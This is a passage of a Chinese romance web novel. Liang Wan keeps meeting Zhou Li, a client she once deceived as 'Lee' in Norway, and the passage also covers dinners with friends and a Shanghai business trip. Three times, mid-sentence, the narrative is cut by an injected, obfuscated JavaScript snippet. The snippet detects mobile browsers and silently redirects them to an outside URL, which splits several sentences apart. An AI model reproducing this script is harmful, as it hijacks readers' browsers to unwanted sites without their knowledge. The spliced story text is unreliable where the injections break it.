看着徐菲林离开的背影,梁宛这才想起中午陈知渊和她说的事,便去询问谢晚馨,得到了肯定的答复。 到周末,持续整整一周的艳阳天宣告结束,乌云似一只盘旋在城市头顶的恶龙,整座城陷入它的阴霾之下。远处响起闷雷声,雨却怎么都不落下。 虽然她们和陈知渊是约在下午四点见面,梁宛却早早就出门轧马路。 她并不是期待这次见面。只是家里太安静,她一个人待着,思绪就像一只失去导向的昆虫四处乱撞。街上永不停歇的喧嚣填补了脑海里的空缺,杜绝胡思乱想的可能。 闷热的天里,梁宛绕着公园走了无数圈,等她胸闷气短停下来时,才发现自己足足走了八公里。 与谢晚馨和陈知渊见面时,梁宛已经走得双颊泛红。即便她是不易流汗的体质,此刻也汗津津地喘着气。 陈知渊一来就笑了笑,指了指自己的眼角和鼻尖,似乎在示意什么。梁宛没明白,直到被谢晚馨小声提醒。 “宝宝,你脱妆了。” 梁宛缓和着自己急促的呼吸,没多大的反应,只点了点头,“一会儿去餐厅补一下吧。” 陈知渊的视线在她脸上停留良久才挪开。 餐厅是谢晚馨找的,一家据说口碑不错的网红餐厅,人均消费不低,位置恰巧就在梁宛的公司附近。 谢晚馨问:“宝宝,你来这里吃过吗?” “第一次来。” 陈知渊托着下巴好奇问道:“那你平时午餐都吃什么?” “外卖。”梁宛笑着说,“我比较懒得下楼,这附近能点的外卖也多。” 有谢晚馨的存在,这顿饭吃得并不无聊,哪怕是平时话少的梁宛也说了一箩筐话。尤其当三个人各自吐槽起工作的繁忙与不如意时,就像是找到了年轻人的共同敌人,高度统一战线。 “辛苦就算了,薪水开高一点我也能忍,偏偏我那老板——死抠。”谢晚馨没醉胜似醉,声音忽大忽小,一说到老板就爆发出想要捏死对方的狠劲来。 陈知渊苦笑着摇摇头,“小梁宛你知道吧,从高中起我就向往Z厂,入职以后发现它其实一直在走下坡路。只不过瘦死的骆驼比马大,还能撑着。” “我只有一句话——”梁宛束起食指,笑道,“别当广告狗。” 晚风也吹不散他们的怨言,乌云也依旧阻挡着星空。 路面上淌着些积水,石砖的颜色被水浸透愈发深。 就在他们吃饭时,屋外下过一场短暂的雨,打落了路边少许树叶,也赶跑了些许炎热。 三人缓缓沿着街道行走,仿佛有着说不完的话。 “你看,那些写字楼里的灯还亮着。” 梁宛抬起头,顺着陈知渊指的的方向看,“那是一家游戏公司,听说快做不下去了。各行各业都难。我真希望有一天醒来我中了五千万,我一定立刻去递交辞呈,躺平等待死亡。” 谢晚馨噗嗤笑道,“那你也得去买彩票才能中啊。陈知渊,你就听她瞎说吧,她就算中了五千万,也不会辞职。她呀,都是光说不做假把式。” 梁宛推了推谢晚馨,嗔怪道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234628|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你别不信啊。” “我还真就不信。”谢晚馨铁了心要揭短,“前年,我劝她下载几个交友软件试试配对,就算不成,也能学一些和异性/交流的技巧。她嘴上答应得好好的,两年过去了,一个APP都没有下载。去年,她说自己也想谈一段恋爱试试,我说我有个同事人不错,想介绍他们认识,结果她又怂了。” “我那是没有时间谈恋爱,总不能耽误人家。”梁宛被她说得脸红了,尤其还有第三人在场。 谢晚馨长叹一声气,“我算是看透她了。她呀,想法虽多,一到实际行动的时候,就是一个胆小鬼。需要一个横冲直撞的勇士才能打开她的心门,不然就打算一直当躺在城堡里的睡美人。” “谢晚馨——”梁宛拉长了每个字的尾音,故作生气的样子要去追打她。 谢晚馨笑着跑跳开,还不忘揶揄,“陈知渊你看她!恼羞成怒了——” 夏夜的风缠绵,浸着汗水的发丝吹拂在脱妆的脸庞上。 浸过雨水的路砖上,谢晚馨跑,梁宛迎着风追逐,直到天空又下起淅淅沥沥的小雨,雨点一滴、两滴落在身上,在数秒内转为倾盆而下。 谢晚馨停下脚步,喊道:“快找个地方躲雨。” 街角有一家二十四小时便利店,自动门边放着一筐兜售的透明雨伞。 叮咚—— 三人前后进店,呼吸急促,胸膛起伏,还未从刚才嬉笑打闹的氛围中缓和。 梁宛从筐里挑走三把伞,迈向收银台正想结账。 货架的转角徐徐走出来一个人。 她还来不及收起混着雨水的笑容,猝不及防撞进那个人的眼眸。 自动门开了又关,叮咚个不停,潮湿又黏腻的空气流动而来。 时间停止了。 梁宛怔在原地,下意识张了张口,什么也说不出口。 “梁小姐,这么巧。” 周沥提着一袋吐司,面无波澜看着她。 梁宛呼出的气颤了颤,低眸将视线挪移开,“喔……嗯,周总好。” “宝宝,是你认识的人?”谢晚馨问。 梁宛小步快速移动到收银台,小声说给她听,“是我的甲方。” 陈知渊从冰饮处挑了一瓶运动饮料走过来,又从梁宛手里拿过那三把伞,递给收银员,“一起结。晚馨、小梁宛,你们还有什么要买的吗?” 谢晚馨拿了一条德芙递过去,“这个。” 梁宛摇头,“我没有。” 失去那三把伞,她就好像失去了一块盾牌。双手无措地悬在半空中,抬起也不是,放下也不是。 她后知后觉便利店街对面便是沃斯,他们竟然一路走到了这里。梁宛没想到周六深夜他竟还在公司。 周沥淡淡看了她一眼,走到一旁的自助收银机旁,结账前又拿起一包纸巾一同结了。 陈知渊付完钱把伞递给谢晚馨和梁宛,“走吧,晚上不安全,我送你们到家再走。” 梁宛刚伸手要去接伞,一个对她来说熟悉又陌生的胸膛靠了过来。 周沥垂眼看着她,看不出眼底的情绪。 他将一张纸巾递到梁宛面前,声音平静又疏远。 “擦一擦,雨水进了你的眼睛。” 22. 022 “谢……谢。” 雨珠顺着眼尾的弧度流进眼中,视野忽然变得模糊,伴随着一阵酸涩。 她用力眨了眨眼睛,低头接过纸巾,发梢上的雨珠偏巧滴落在周沥的手背上,沿着指骨淌入他的手指之间。 周沥微微拢起手指。 梁宛动作迅速地擦拭了一圈眼角的雨水,撑起一副职业性的笑容,再次感谢。 “谢谢周总。” 随即她转过身,快步走出便利店,直到站在雨里才撑开从陈知渊手里抓走的那柄伞。谢晚馨和陈知渊带着满腹疑问跟上她匆匆的脚步,呼喊声由远及近。 哪怕一秒,梁宛也不敢回头去看周沥的神情。 “宝宝,刚才那个男人是你的甲方?” “嗯,新项目的甲方。” 梁宛缓着急促的气,将伞沿压得极低,但透明的伞遮不住太多情绪,一不留神就沾染上雨夜的闷湿。 “你们很熟?” “不,我们不熟,只见过一面。”梁宛别过脸,“晚馨,我有点累了,我们打车回家吧。” - 人总是在最狼狈的时候见到不想遇见的人。 回到家,看见镜子里的自己,梁宛深刻领悟到了这句话。 眼线早在不知什么时候晕开,被淋湿的头发也杂乱无章地黏在额头和鬓角。她刚才就是顶着这副模样见的Lee。 她好像一个落荒而逃的骗子。 有点可笑。 过了许久,撑着洗手台的双臂逐渐脱力,梁宛坐倒在淋浴间的地面上。温热的水从花洒里喷出,淋了下来。 她想起那几次和Lee做完,他抱着她去浴室清洗…… 梁宛惊醒,晃走脑海里不该想的东西。 这两天,她逃避着尽可能不去想和Lee有关的事,然而这种表象是易碎的。 她开始回想自己在挪威的所作所为。 她骗他说是泰国华裔,骗他说职业和酒有关,骗他说对他是一片真心。 梁宛焦躁地挠乱头发,她还骗他了什么? 她不记得了。 一万个大大小小的谎言像地上散步的蚂蚁,她想捉起来,都捉不完。 梁宛忽然想起,在那天的海岸边,Lee说他是一个从不原谅欺骗的人。 所以他为什么会回来?为什么选择Fingerprint?是想要报复她? 如何报复?让她失去工作?还是把她的行径公之于众? 梁宛不得不考虑这些。 这份焦虑如影随形,在再次拜访沃斯的前一天达到了顶峰。 “Alice姐,沃斯的项目,可不可以换一个人负责?” 徐菲林正回信息,一心二用敷衍道:“怎么了?遇到什么难事了?” 梁宛说:“科技领域不是我擅长的,我恐怕难以对市场做出准确的判断。” 徐菲林往后一靠,为难地说:“最近公司上上下下都腾不开人手,别的项目已经开始了,中途换人也不妥。Denise,我相信你能做好的。你之前每一次都完成得很好,否则也不会这么快升上来。” “我……” “这个项目结束后给你放个长假,现在就好好做,别人我失望。” 没得商量的语气。 沃斯。 电梯里。 金毅活力四射的笑容衬得梁宛更是死气沉沉。 “Denise你身体不舒服?脸色不太好。” “没有,”梁宛努力挤出一个笑容,“今天找我来是为什么事?是周总……” “是我想和你谈一谈媒体选择。”金毅说道,“周总今天不在公司,他出差了。” 闻言梁宛愣住。 蓦然间,压在肩上的两块大石头落下了,音色都变得轻快了不少。 “出差?” “对,他去出差三天,后天才回来。”金毅又问,“你有事要同他说吗?” 梁宛忙摆手,“没有。” 来这里之前,梁宛设想过数十种对话场景,每一种都让她心生不安。这种不安又和愧疚感揉在一起,令人愈发不想面对Lee。 下意识地,梁宛如释重负,松了口气。 也许是她多想了。 之后梁宛有一小段时间没有再去过沃斯,和金毅的交流停留在网络,即便两家公司距离很近。 除了偶尔从金毅口中听说他在做什么之外,周沥又从她的生活中消失了。 周沥变得只是周沥,是那位不爱露面的沃斯创始人,而不是Lee。 星期三,梁宛难得没有加班至深夜,准时打卡离开公司后在附近的餐厅吃了晚饭。第一次发现附近的商圈颇有人气。 餐厅的玻璃窗外,夕阳正从公司大楼与另一栋建筑之间下落,暂别北半球。 粉紫色的晚霞,不得不想起特罗姆瑟。 近几日北京的温度有所下降,晚风凉爽,正适合散步。 公司边的公园里有一片人造湖和一整片绿茵地。平时梁宛只从它外边经过,总能听见音响里播放出的歌曲,大部分具有年代感,也不排除偶然出现一两首特别潮的歌曲。 听方愿说,这个公园也被称为狗狗公园。一到晚上,来这儿散步的狗比人还多。方愿家里就养了一只比熊,平时她没有时间遛,就请了兼职的大学生上门遛狗。这个公园就是对方固定的遛狗点。 虽早有心理准备,当梁宛见到数量如此之多的宠物时也着实吃惊。 主人们牵着绳站在草坪上拉着家常,腿边小狗们聚在一起绕着主人跑。 梁宛坐在长椅上看着公园里的热闹。 大约是从小学开始,梁宛就想拥有一只属于自己的宠物。四年级的时候,有一只异瞳白猫忽然跟着母亲回到家门口。梁宛喜欢极了,母亲也喜欢,喂了它一些吃食。接连三四天,它都到阳台边等投喂,梁宛理所当然以为她们会收养它。那只猫更喜欢母亲,也更讨母亲喜欢。 可是当提出收养请求时,母亲告诉梁宛,她不喜欢小动物,因为它们身上脏。在那之后,小猫就不见了,再没有出现在阳台的保笼边。 中考结束,梁宛考进重高,母亲在旁人的起哄下不情不愿说要奖励她。梁宛开心极了,说想要一只小狗或小猫。但母亲说高中要以学业为重。身为学生的梁宛没有时间照顾他们,不应该把这份责任转嫁到母亲身上。梁宛认为她言之有理,于是盼着长大工作。 可是后来,她还是没有养,也不再想了。 绿草地上,贵宾和比熊绕着主人打转,为了零食龇起牙来,不过是虚张声势。 忽然间,一只长尾巴的柯基冲进梁宛的视野中。 它穿着胸背绳,可绳子的另一端却没有被牵着。它就这样疯了似的在草地上打转,几次险些被人踩到。 梁宛伸长脖子在攒动的人头中寻找它的主人。 没有。 柯基还在没心没肺地跑跳,不一会儿竟然停在梁宛的脚边。它一边摇着尾巴,一边嗅梁宛的裤腿,然后蓦然抬起前爪,扒在梁宛身上,舌头一吐,开始卖萌。 梁宛愣了愣。 “你……渴吗?” 她带着一瓶矿泉水,但随意喂一只有主人的狗不是明智之举。 正苦恼时,她忽然看见柯基脖子上挂着一块金子做的小牌。灵光一闪,她弯下腰,用手机的灯照亮那块金牌。 “胖虎……15……” 名字和主人的联系方式。 又过了五分钟,胖虎累了,趴在长椅下。梁宛还是没等来它的主人,于是按金牌上的联系方式拨了过去。 铃声响了很久才被接起,电话另一头发出东西掉落的乒乒乓乓声,然后是一个男人有些凄惨的吸气声。 “你……你好?”梁宛谨慎开口,“请问你有养一只柯基吗?” 对方顿了一下,“是啊!你怎么知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272653|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道?” “柯基的名字是?” “胖虎。” “你是不是在xx公园遛狗的时候,和胖虎走散了?” “对!你找到它了吗?太感谢了,天啊……我刚才不安得从床上摔下去了。” “嗯……我还在公园里,你现在过来吗?我可以等你。” 霍易斐为难地挠了挠头,一边把自己打着石膏的腿重新挪回床上。 “其实我是拜托了宠物店的老板帮我在遛胖虎,他店里还有不少事。你不介意等我一些时间的话,我让另一个朋友过来接它吧。” 梁宛有些为难,“你的朋友过来这边要多久?” “很快!他就在公园附近工作,我原本就是要让他去宠物店帮我将胖虎接回的。” “那行,没问题。我牵着胖虎到公园北门等你的朋友吧。” 霍易斐感激涕零,“我会让我的朋友给你报酬,请千万收下。胖虎对我来说比命还重要!它跟着我漂洋过海又回来……” 梁宛揉了揉胖虎的脑袋,它身上飘着一股沐浴露的香气。它的主人很爱它,失而复得让他止不住地想要分享这份爱。 一段时间后,梁宛牵着胖虎走到北门。 胖虎很乖巧,一点都没有抵抗,甚至于一直摇着尾巴冲梁宛笑。 她其实不太招狗喜欢。 方愿家的比熊就不喜欢被她摸,会不高兴地龇牙。大学舍友家的萨摩耶,一见到她也会一直吠叫。 都说动物能看出一个人的好坏,梁宛不禁怀疑自己是不是个混蛋。 北门外有一条窄路,单行线,同时只能通过一辆车。街对面是个狭窄胡同,梁宛从公园走出来时,一辆装了一车篼鲜花的电瓶车正从里面拐出来。 蓝调时刻已接近尾声,蓝色的余韵浸染这一刻。 梁宛靠在公园的石墙边,垂眸静静等待。 梁宛不知道对方长什么模样,只能寄希望于对方能认出胖虎。她虽然从胖虎主人口中获得了那位朋友的联系方式,但若非必要,她并不想去拨打。 只是时间一分一秒地流逝,超过约定的时间还是不见人。 她斟酌片刻后,输入那一串号码拨了过去。 电话接通得很快,对方没有出声,只有背景里的喇叭声。 “你好,我是捡到胖虎的路人,我已经在公园北门了。请问你大约还需要多久会到这里?” 胖虎忽然叫了一声。 梁宛没听见对方是否有说话。 “不好意思,我没有听清,请问……” “汪汪、汪!” 一直都很听话的胖虎接连叫了三声,梁宛低头看它,只见它的尾巴已经转得堪比螺旋桨。不等梁宛反应过来,它突然朝着一个方向狂奔。 幸好梁宛紧紧拽着牵引绳,才没有面临再次跑丢的局面。 “胖虎——!停下来!” “嘟嘟嘟。” 耳边的手机里传来通话中断的声音。 梁宛有些不悦。 这位朋友既不守时,也不搭理人,真没礼貌。 她收起手机,正要用双手去控制牵引绳时,狂奔的小短腿蓦然被一个男人抱了起来,按在怀中。 “刚才是你打给我?” 梁宛抬眼。 亮起的路灯恰好有一束光落在男人的脸上,一半脸藏匿在阴影里。 梁宛向后踉跄了一步,松开牵引绳。 竟然是周沥。 她用力吞咽了一下,作镇定状道:“你是柯基主人的朋友?” 周沥的视线从她脸上挪到胖虎身上,见它没心没肺吐着舌头,“嗯。” 梁宛啪一下合上双手。 “那我的任务就算完成了。”梁宛深吸一口气,“我先走了,拜拜。” “梁宛。” 背过身的梁宛皱了皱鼻子,回头,“怎么了?” “报酬还没有给你。” 23. 023 “举手之劳,用不着报酬。”梁宛绷着脸,低头咬了一下嘴唇,“没有其他事的话,我先回家了。” “梁宛,”周沥抬眸,“你在躲我。” 梁宛不假思索回答:“我没有。” 周沥扬了扬下巴,灯影下闪过一丝嘲弄的笑意。 “吃过晚饭了吗?” “吃过了。” 周沥眯起眼。 梁宛双手拧在一起,察觉到他的不信任,瞬间提高音量,“我真的吃过了,就在街角的川菜馆。” 唯一一件诚实以对的事,她格外理直气壮。 “喝酒呢?” “我酒品不好……不适合喝酒。” 周沥闭眼笑了笑。 “梁宛,我们谈谈。” 他掠过了她的谎言,直截了当。 “谈?”梁宛提着嘴角,视线三十度斜于地面,“是广告案的事吗?或许可以等到工作时间在和我谈论这个问题。现在是我的休息时间,周总。” 她的声音又轻又遥远,几声狗吠与喇叭就盖了过去。 “我以为你是一个随时都愿意处理工作的人,梁小姐。你看起来从不反驳你的上司,或拒绝她的提议。” 梁宛欲言又止,四目相接时,抬起的睫毛一扇一扇,“请你允许一个人拥有自己的情绪。任何人都有不想做事的时候。” “什么影响了你的情绪?” 周沥缓缓抚摸着胖虎的眉心,怀里的它舒服地闭上眼睛。 你。 梁宛在心里说。 “天气。”她微笑看着他,吐词清晰,“天气太热了,还有到处飞的虫子。” “那边有咖啡厅。” “我不在晚上喝咖啡。” “甜点?” “我不爱吃甜品,周总。” 像一只把自己蜷缩起来的刺猬,三百六度无死角地用尖刺防卫着他可能的进攻。 “逃避是你一贯处理问题的方式?” 梁宛一怔。 一问一答的节奏蓦然被切断。 她沉默了,没有说出一句辨别的词。 夜晚正是人群回家的热潮,电瓶车紧贴着人行道骑行,梁宛的心脏时不时跟着它们发出的滴滴声惊跳。 “对不起。” 她说。 周沥神色微微一变,眼底多了分夜色下的不悦。 “对于在挪威发生的事,我深感抱歉。如果回到最初,我不会去招惹你。” 梁宛顿了顿,“周总,我有一个不情之请,项目结束之后,我们可不可以不要再见面?我不希望再有任何人知道挪威那段经历。” 一字一句平静地说出来,仿佛道歉了这事便没有发生过。洗去一段记忆和感觉对她来说如此轻易。 你不是中国人吧? 你听得懂中文吗? 回想起那时她几次三番向他确认的问题。 原来她认定了他们不会再见面。 周沥没说话。 “你问我是不是在躲你。”梁宛深吸一口气,“刚才我撒谎了。老实说,我不明白你为何会回来,为何偏偏是北京,偏偏是Fingerprint。周总,我怕你因为生气而报复我。” “报复你?”周沥笑了,将胖虎放到地上,单手牵着绳看她。 梁宛不语。 “你很习惯以自我为中心。” 认为旁人的一举一动都是被她牵动的。 不止一个人这么说过。 从很小的时候开始,母亲就说“你生性凉薄,你是没有感情的冷血动物,凡事以自我为中心”。至于因为哪些事,梁宛的记忆则很残破。 一次是因为外公外婆生病了,她没有去看望。还有一次是因为她舍不得玩伴,不愿意跟母亲去美国。桩桩件件多得数不清。 梁宛嘴上没认可过母亲的指摘,心里却有着相同的看法。 她会为电影哭,为小狗小猫哭,为素不相识的人哭。但几乎不会为身边事哭,起码不会在人前哭。 “我知道。” 她轻轻说出来。 “周总可以当我是自作多情,这没有关系。如果周总想要补偿,我会在能力范围内给予你,只要不犯法也不触碰道德底线。如果周总不想要,那么项目结束后,我们尽可能不要再见面。这里不像挪威,人多口杂,我不想被唾沫淹死,还望周总理解。” 狭窄的街道堵塞着,轿车爬得比行人还慢,电瓶车也不得不停下,寻找空隙去穿过。 周遭似被人按下了慢速键。 飞虫环着路灯盘旋,热夏得一切在她耳边嗡嗡叫喊着。 “理解。” 周沥慢慢吐出两个字。 梁宛分辨不出他的语气。是嘲弄,还是真的理解。 半晌周沥垂眸,看着地上绕圈的胖虎,“是我弄错了。” 在梁宛不解的表情中,他说:“Mia敢爱敢恨,不是一个遇事只知逃避的人,你不是她。” “谢谢你找到胖虎。” 再度听见Mia这个名字。 梁宛的身体为之一振。 像电影里的镜头。 梁宛独自一人怔在原地,镜头拉近,车流的灯光在她脸上闪烁。良久,她眨了眨眼睛,镜头再切换时,周沥已经消失在她视野中。 他的所有指责中,只有一点她想不明白。 明明“Mia”才是那个欺骗他的人,她的目的从一开始就不纯粹。 为什么,遭记恨的是“梁宛”? - 门铃刚响起,打着石膏的人就一瘸一拐地飞奔而至。 霍易斐极度夸张地抱着胖虎假哭,林晓茵正工作,被他哭得烦了,朝他丢来一团纸。 “都说了不要找那个宠物店老板,不靠谱。你不听我的,现在在这哭哭啼啼。” 霍易斐更委屈了,又觉得她说得对,只好认错。 周沥没有兴趣观赏他们的斗争,淡淡打了声招呼,转身就要离开。 “等等。”霍易斐穿上一只脚的外部拖鞋,跟着周沥走到门外边,“每次都走这么急,不能聊几句天?” 周沥垂眼,“有事?” “有。”霍易斐叹气,“回国创业不容易,晓茵现在忙得焦头烂额,但她有目标。我很迷茫,我渐渐地有些跟不上她的脚步。她每天回到家还是在处理邮件,我很空。我想和她聊天,但不能打扰她。想和她约会,她也没有时间。Lee,我回来是正确的选择吗?” 手落兜,周沥站在电梯前,“我告诉过你——” 霍易斐打断道:“行行行,我知道你又要说那些风凉话,你是学不会安慰人吗?” 嘴边的话克制住,周沥转身按下电梯下行键。 “如果你的爱情大于你的不甘心,就是正确的。” 霍易斐讶异地看着他,似乎没想过这番话会从这个人口中说出。 “毫无疑问——大于。我还是没有办法想象一直见不到她的生活。” 周沥不置可否,“那就跟上她的脚步。” “嗯,我是不能再这么闲了。”霍易斐看着电梯上升的数字,抓紧最后的谈话时间,“说起来,你到现在还没有告诉我,你为什么忽然把重心转向国内市场?虽然沃斯在国内发展也不错,但就目前来看远不如稳住欧洲市场。你的计划怎么提前了?” “各方面考量。” “行,你一直很有主见。除此之外,我心里一直有个疑问,有点八卦,还有点涉及到你的隐私,我能问吗?” 周沥瞟了他一眼,“我说不能,你就不问吗?” “我和晓茵打了一个赌,赌你有没有谈过恋爱,我说你肯定没有,她说你肯定有。” “赌注是什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305656|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍易斐做出什么不着调的事都不令人惊讶。 “三张百依百顺券。” 他们情侣之间的情调。 “你赢了。” 得到答案后,霍易斐高兴地晃了晃受伤的腿,“我就说嘛,你这棵铁树还没开花。她非说哪有男人过了30岁还是处男的,又不是什么不堪的人。” 周沥走进电梯,回身淡淡看了一眼得意洋洋的霍易斐,在电梯门关闭前说: “我不是。” “嗯?” 银黑色的电梯门倒映着霍易斐木讷而茫然的脸庞。 “不是什么?” 他在空无一人的地方独自喃喃问道。 过了许久,他终于意识到周沥的意思。 “不是?!” - “宛姐,你昨天是不是和一个男人在吵架?” 方愿衔着一片吐司踩点打卡。一来就直奔梁宛的工位。 “吵架?” 梁宛还没来得及吃早饭,听见她这么说,空空的肚子更是抽得疼了下。 “对啊,我在公园门口看见你了,本来想和你打招呼,但是看你满脸委屈地在和一个男人说话,我就没有打扰。那个男人是谁?” 方愿只看得见男人的背影,高大宽阔的肩背,足以将梁宛整个人遮挡住。街边的路灯照出两个人的轮廓,在深蓝的天空下,像一部电影的开片。 “喔,是一个认识的人。我们没有在吵架,只是在说一些事。” 满脸委屈? 梁宛抬了抬眉梢,有些自嘲地笑了笑。她和周沥之间,她才是没有资格委屈的那个人。 姜之琪姗姗来迟,实习期间已经是第三次迟到。 “Denise,我能问问下周出差的酒店是怎么住吗?” “四星级,标间。” “我们一起住吗?” 梁宛愣了一下,“嗯,是不方便吗?” 姜之琪欲言又止,“没事,实在不行到时候我自己花钱再开一间吧。” 她转身走后,方愿俯身凑到梁宛耳边笑着说:“听说她男朋友在上海,毕业后对方去上海实习,她留在北京,有段时间没见面了。” 梁宛了然。 出差的那一天,姜之琪始终心不在焉,徐菲林在工作群@她两次都没有回复,一直到梁宛提醒才有反应。 “一会儿和客户见完面后,你先休息吧。”梁宛揉了揉眼睛,酸涩感并未减弱,“但要多注意信息,及时回复。” “好,谢了。” 梁宛松了松筋骨,抵沪后,刚合上的笔记本电脑又在地铁上打开,继续回复邮件。 工作日午后,地铁上并不算拥挤,除了梁宛之外,也不乏捧着电脑办公的人。 忙碌早已成为城市特色。 与客户的会议结束后正是晚霞降临的时刻。梁宛体面找了个理由推脱客户的请客吃饭。 真客气与假客气,她会分辨。 “明天晚宴的着装再确认一下。”梁宛提醒梁之琪,又向她确认,“你今晚要出去吗?” 姜之琪摇摇头。 于是梁宛抓着她又过了一遍参加客户公司晚宴的注意事项。 出差不过是换一个地方办公。 公司内部软件的提示音未停过,梁宛一直处理到深夜才合上电脑。 紧接着是手机上的消息,一刻未停,以至于她需要用手指去撑起沉重的眼皮。 陈知渊:「晚馨说你来上海出差了?」 梁宛:「嗯。」 陈:「什么时候回去?」 梁:「后天一早。」 陈:「明天约个晚饭?」 「明晚参加客户公司晚宴,恐怕不行。」 陈知渊是个喜欢做东的主,几番推辞下,他仍旧坚持见一面,一起吃个brunch。 24. 024 “我只能坐二十分钟左右。”梁宛气喘吁吁赶到约定的地点,刚搁下挎包,手机就开始振动,“不好意思,回个信息。” 陈知渊伸手将桌上的三明治推给梁宛,“你的工资拿得真不容易。” 梁宛一边打字一边笑侃,“可不是嘛,这两天都没有好好吃饭,这顿算是最正式的了,还要谢谢你。对了,你找我有什么事吗?” “没事就不能找你吗?小梁宛,你以前可不这样。” 梁宛放下手机,不顾形象咬了一大口三明治填肚子,用湿巾简单擦了擦手指,继续用无名指打字。 “毕竟你是大忙人,以为是有什么紧要的事。”回完消息,梁宛这才抬眼与他对视,“我以前不也是这样?” “不一样,以前课间你会主动找我说话。” 梁宛弯起眼睛笑了笑,“是吗?高中的事,我都记不得多少了。” 又是艳阳。 骄阳即滤镜,店外街边绿荫下不乏前来拍照的人,反光板、梯子等等道具齐全,架势十足。店内也不清净,店主找了些自媒体博主做推广。梁宛很难忽视那些相机的存在,她不想入镜,因为不是每一个博主都会给路人打码。 不动声色侧身避开相机的方向,又听陈知渊说:“不记得说明对你来说不够重要。” 他笑笑。 半晌,梁宛也会意轻笑,“看来于我而言重要的事实在不多,能记得的只有那一丁点事。” “说说近况。” 梁宛是真的有点饿,顾着吃,“没什么值得说的。” “你的新甲方,就是上次在便利店见到的那位。” 梁宛一顿,抬起眼,咀嚼的动作也停下。 “我有个同事认识他。”陈知渊道,“和他是大学同学。说他学习好,人挺低调,不过这人有些追求完美。你要是有什么需要帮助的,尽管向我开口,那个周总看在同学面子上想必也不会太刁难。” 梁宛素来不喜欢麻烦别人,不喜欢欠人情,听罢道:“说刁难太夸张了,工作而已,再苛刻的甲方也见过,放心吧。” 话虽如此,梁宛心里没底。 若周沥只是一般甲方,她辛苦些也就熬过去了。她怕的是他报复。 纵使她知道自己有些对不起他,但愿意坦荡承担后果的毕竟是少数人,她没有这么伟大。 听陈知渊说起周沥的学生时代,梁宛却情不自禁开始想象。 二十岁的周沥是什么样的?会不会和她一样,也曾天真又无知。 陈知渊难得没坚持一个话题,侧着脸喝了口咖啡,“我听晚馨说,你这些年都一个人?” 手机又来信息,梁宛一边查看一边回答:“嗯是啊。” “怎么不找?” 梁宛笑道:“又没人找我。” “你谦虚了,肯定有人追你,是你不答应吧。” 梁宛用余光扫了他一眼,又看回手机,抿嘴笑了笑,放下手机。 “一个人自在,我不喜欢生活里突然多一个人。” 陈知渊颇为讶异,“你也有现在流行的不婚想法?不孤独吗?” “我不是不婚族,只是它对我来说不是一个必要的东西,可有可无。三十岁碰到也好,五十岁才来也行,等一个对的人,宁缺毋滥嘛。” “对的人——”陈知渊吃了一口沙拉,“这是最抽象的词,没人知道你要什么。” “我自己也不知道。直觉、感觉至上,没有标准。” “你以前是不是……”陈知渊欲言又止,深深看了梁宛许久,把原先的话咽回去,改口问:“你妈妈不催你?” 一刹那,笑容在脸上僵持住,梁宛侧目看向窗外,“不催。” “那她也挺开明,她还在美国吗?” “嗯。” 当初费尽周折去成,想必不会回来。 梁宛敷衍看了看时间,表示:“我得走了。” 陈知渊连忙跟着她一起起身,“我送你。” 这家餐厅本就离酒店很近。 “走走路就到了。” “走路要花上十到十五分钟,不如我一脚油门快。” 梁宛也不再推辞。 车里的几分钟,陈知渊问她觉得内饰如何。梁宛随口夸了句漂亮,心不在焉的。 到酒店与姜之琪汇合后,梁宛换了身正式的黑裙,方领,无任何装饰,只靠剪裁掐出腰身。 再下楼时,梁宛没想到陈知渊还等在原地。 他眼尖,一下看见梁宛,放下车窗冲她喊道。 “好人做到底,宴会在哪?我送你们过去。” 姜之琪扬起眉头打量了二人一圈,“Denise,你男朋友啊?” “不是,这我老同学。” 不提还好,一提姜之琪就想起之前总找梁宛聊天的同学,“啊……就是那个刚回国半年,朋友不多的同学?他绝对对你有意思,想把你。” 梁宛语塞地看了她一会儿,“琪琪,我们能不八卦这事了吗?先进车吧。” 高中时,她误以为陈知渊喜欢自己,后来知道那是错觉。梁宛一直庆幸自己从未将自己的感情公之于众。 可实际上她自作多情的次数并不多,凡是她察觉到的喜欢,最后都从对方或对方朋友口中确认了那份情感。 她并不会简单断定陈知渊如今喜欢自己,但也能察觉他对自己有一定意思。这层意思的程度很浅,大约还带点青春时的滤镜,所以他一直在远处观望,试图从她口中先听到信号。 年近三十岁的好感和高中不同。喜欢没有那么热烈,它更平淡,更耐心,考虑的东西也更多。 可梁宛看他如同看每一个旧人,早就没有了悸动。近年来唯一产生过冲动,不幸成为她欲望来时遐想对象的——只有Lee. 但这种冲动在忙碌的生活中不过是红尘一隅。 到达宴会场地后陈知渊就走了。 